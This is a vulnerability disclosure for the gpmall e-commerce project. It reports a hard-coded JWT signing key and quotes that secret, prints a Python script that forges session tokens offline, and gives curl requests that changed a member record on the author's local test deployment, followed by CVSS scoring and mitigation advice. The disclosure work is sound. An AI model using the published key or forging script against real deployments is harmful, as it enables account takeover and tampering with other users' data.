| الوصف | 1. Hard-coded signing key.
gpmall ships a hard-coded JWT signing key: the HS256 secret is embedded as a plain string constant in user-service/user-provider/src/main/java/com/gpmall/user/utils/JwtTokenUtils.java at line 35 (https://github.com/2227324689/gpmall/blob/c5dd5bacb052e2d4afda5ed1f7f07c17428192d5/user-service/user-provider/src/main/java/com/gpmall/user/utils/JwtTokenUtils.java#L35):
private final String secret="324iu23094u598ndsofhsiufhaf_+0wq-42q421jiosadiusadiasd";
In any deployment built from unmodified source this public constant is the live key: I read the full 79-line class and it has no other key source (no environment variable, configuration property or rotation hook), and the same literal flows into both the signing sink (Algorithm.HMAC256(secret), line 44) and the verification sink (JWT.require(Algorithm.HMAC256(secret)), lines 58-61). GitHub's commit history for this file lists exactly five commits, the newest being 7c7b4140060d on 2019-08-06, which replaced an earlier secret.properties lookup with the in-source literal and has not been touched since; the constant has therefore been in place unchanged from 2019-08-06 through the master head c5dd5bac (2021-12-07) that I tested.
2. My report and the vendor's response.
I reported this in https://github.com/2227324689/gpmall/issues/226 on 2026-07-17 (state: open). The only vendor-side reaction so far is a comment posted in the thread the same day acknowledging receipt (https://github.com/2227324689/gpmall/issues/226#issuecomment-5003171648); GitHub shows that commenter with no owner or collaborator association, so whether they are in a position to ship a fix is unconfirmed. As of 2026-11-02 no fix, key rotation or advisory has been published. In this entry I document the end-to-end impact I validated on a deployed instance: a token I forged offline from the public constant passed both validation layers with no login call and modified member data through a protected write endpoint.
3. Token construction.
The key is used verbatim: the literal goes straight into java-jwt 3.8.1 Algorithm.HMAC256 (I confirmed java-jwt-3.8.1.jar in the runtime container), so the raw ASCII bytes of the constant are the HMAC-SHA256 key and verification enforces the same algorithm; no dotenv truncation, Base64 decoding or KDF applies. creatJwtToken (lines 41-44) issues tokens with issuer wlgzs, expiry plus one day, and one custom claim user: UserLoginServiceImpl (lines 68-72) serializes the member identity as fastjson {"uid": tb_member.id, "file": tb_member.file}, and AESUtil (lines 32, 39-61, 98-108) encrypts that JSON with Cipher.getInstance("AES"), the JVM default AES/ECB/PKCS5Padding, under an AES-128 key derived via SHA1PRNG from a second hard-coded seed at AESUtil.java line 32, emitting uppercase hex. On verification, TokenIntercepter (lines 45-57) reads the access_token cookie and forwards it over Dubbo to IUserLoginService.validToken, which delegates to freeJwt (lines 58-61): JWT.require(Algorithm.HMAC256(secret)).withIssuer("wlgzs"). Signature and issuer are the only gates, audience is never checked. The second server-side re-check in MemberServiceImpl (lines 69-85) calls the same validToken, so both layers collapse onto the one forgeable constant.
4. Attack process, fully offline with no login call.
I forged the token with python3 standard library only (hmac, hashlib, json, base64):
import hmac, hashlib, base64, json
def b64u(b):
return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
secret = "324iu23094u598ndsofhsiufhaf_+0wq-42q421jiosadiusadiasd"
header = {"alg": "HS256", "typ": "JWT"}
payload = {
"user": "4B5C5FF9946F6BCC76CF826E9B7E0B5ACF5FA4BCE73BE462B4B489536FD16A65B6C00648057BC29ED0E24BBEC08936FFB0FDE0269BEC3C26F37F6D7666F4A7DE43E5F6EDA697487E1A79847C6177870EF801E4A4D6EDD17BBA882082853722AA16D4C919DC43832C04443B599ADCD63B",
"iss": "wlgzs",
"exp": 1793676575,
}
h = b64u(json.dumps(header, separators=(",", ":")).encode())
p = b64u(json.dumps(payload, separators=(",", ":")).encode())
sig = b64u(hmac.new(secret.encode(), (h + "." + p).encode(), hashlib.sha256).digest())
print(h + "." + p + "." + sig)
Every byte of the token, including the AES user claim, is reproducible from public source. I regenerated the claim with this driver against the repository's own compiled AESUtil class, run in the deployed provider container:
import com.gpmall.user.utils.AESUtil;
public class Reg {
public static void main(String[] a) {
String pt = new AESUtil(a[0]).decrypt();
System.out.println("PLAINTEXT=" + pt);
System.out.println("ROUNDTRIP=" + new AESUtil(pt).encrypt());
}
}
javac -cp <user-provider-classes> Reg.java
java -cp <user-provider-classes>:<slf4j-api.jar>:. Reg 4B5C5FF9946F6BCC76CF826E9B7E0B5ACF5FA4BCE73BE462B4B489536FD16A65B6C00648057BC29ED0E24BBEC08936FFB0FDE0269BEC3C26F37F6D7666F4A7DE43E5F6EDA697487E1A79847C6177870EF801E4A4D6EDD17BBA882082853722AA16D4C919DC43832C04443B599ADCD63B
Output (re-verified 2026-11-02):
PLAINTEXT={"uid":62,"file":"https://gper.club/server-img/avatars/000/00/00/user_origin_30.jpg?time1565591384242"}
ROUNDTRIP=<byte-identical to the input hex above>
Re-encrypting the decrypted member JSON reproduces the claim hex exactly, so the value baked into my python script is derived, not guessed. The forge script printed a 436-character HS256 token (signature 5Ti_8fifGPzwD_V6NcwqcysX17ZGifKKjLKAB5f6bts, exp 1793676575 still in the future at attack time). I never called /user/login and held no real session.
Write-side request (executed 2026-11-02 against my test deployment on 127.0.0.1:20036):
curl -X PUT http://127.0.0.1:20036/user/member -H 'Content-Type: application/json' -H "Cookie: access_token=<forged JWT>" -d '{"id":62,"description":"pwned-by-forged-jwt-20261102","token":"<forged JWT>"}'
Read-side request with the same forged token:
curl http://127.0.0.1:20036/user/member/62 -H "Cookie: access_token=<forged JWT>"
Observed results: the PUT returned HTTP 200 with body {"success":true,"message":"success","code":200,"result":null,"timestamp":1793591264354}. Persistence is confirmed three ways: in the database, tb_member id=62 went from description=NULL to description=pwned-by-forged-jwt-20261102 (queried inside the MySQL container); the read-side GET returned HTTP 200 with result.description=pwned-by-forged-jwt-20261102, confirming the write and the token's continued validity; and the provider logged two UserLoginServiceImpl.validToken invocations with the forged token followed by "MemberServiceImpl.updateMember effect row :1". The update follows the id field in the request body rather than the token subject, so the forged token can equally target other members' rows (not exercised beyond my own test row). Deployment disclosure: I built the stack from source at commit c5dd5bac with compatibility fixes only (dubbo-spring-boot starter 2.7.3 to 2.7.13, useSSL=false on the MySQL JDBC URL, Kafka listener autostart disabled (non-essential), MySQL 5.7 seeded from the repository's own db_scrpit/gpmall.sql, whose shipped rows are members 62/test and 66/mic with isverified N at SQL lines 362-363; I flipped row 62 to the verified state login requires, though the attack never logs in); no authentication-relevant code was touched and the token chain is exactly as published. As a control, the application's own verifier in the container rejected the identical token once the issuer was switched to evil, confirming signature plus issuer are the only gates.
5. Impact.
Anyone who can read the public repository can mint valid session tokens for arbitrary member accounts. WebConfig.java lines 23-26 put every route under /user/** except /error behind this token check, so all such endpoints accept the forged identity: authentication is defeated outright, and authorization is defeated on handlers that act on the id in the request body rather than the token subject, as the demonstrated update does. The token carries only uid and the member schema has no role or privilege field, so the demonstrated reach is full read and write of member records for any account id; I exercised writes only against my own seeded test row. CVSS:3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N, score 9.1 (Critical), CWE-321 Use of a Hard-coded Cryptographic Key.
6. Mitigation.
Remove the literal from JwtTokenUtils and the AES seed from AESUtil: load a per-deployment, randomly generated high-entropy secret from an environment variable or secret store, and refuse to start while the default constant is still configured, so a deployment can no longer silently run on a publicly known key; rotate the secret, invalidate outstanding tokens, and stop trusting the self-contained user claim alone by binding sessions to server-side state or re-checking the account on write. Product homepage: https://github.com/2227324689/gpmall |
|---|